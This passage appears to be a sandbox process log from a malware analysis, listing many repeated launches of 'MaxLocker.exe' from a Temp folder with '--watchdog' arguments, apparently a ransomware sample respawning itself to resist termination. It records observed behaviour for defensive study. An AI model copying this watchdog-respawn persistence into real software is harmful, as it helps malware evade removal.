  2⤵
  PID:5112
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5112 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3940
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3768
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3768 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5000
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4560
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4560 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6032
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1136
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1136 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:256
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4880
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4880 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4412
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1220
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1220 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5544
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5720
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5720 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:120
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1516
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1516 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5300
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1384
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1384 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:304
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:388
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 388 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:312
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2624
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2624 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5272
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1260
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1260 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1812
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:988
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 988 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3092
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:704
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 704 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1288
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1292
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1292 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5684
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2244
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2244 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2360
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3824
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3824 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4544
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1072
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1072 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4788
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5908
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5908 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4736
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:848
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 848 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5756
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1140
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1140 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5356
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4336
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4336 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3440
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5136
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5136 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2580
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5264
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5264 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4388
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2184
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2184 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5060
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2016
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2016 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4348
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1952
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1952 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4700
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5752
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5752 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5040
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3768
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3768 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1836
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1844
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1844 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:548
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4272
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4272 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:256
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5540
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5540 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1500
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2012
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2012 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5624
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2664
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2664 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1496
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1536
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1536 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5516
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5020
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5020 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4228
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2668
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2668 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1960
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1720
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1720 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:200
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3344
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3344 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4224
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:716
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 716 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5936
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5416
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5416 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4804
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5140
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5140 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4756
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5480
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5480 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4292
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2144
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2144 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4544
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5864
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5864 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3840
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:848
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 848 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3944
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4984
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4984 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5844
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1348
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1348 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3904
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5944
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5944 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2428
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2280
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2280 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1428
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:676
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 676 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3976
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4988
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4988 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:244
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5952
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5952 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4364
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1372
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1372 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4136
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1836
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1836 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2768
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6000
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 6000 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:548
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2640
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2640 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4592
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4908
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4908 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4716
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5964
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5964 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1156
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:396
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 396 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5388
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1364
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1364 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:332
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3816
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3816 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4640
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1152
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1152 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1252
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1400
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1400 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1720
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1124
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1124 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1260
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2540
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2540 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2648
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:252
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 252 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3112
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2360
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2360 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3584
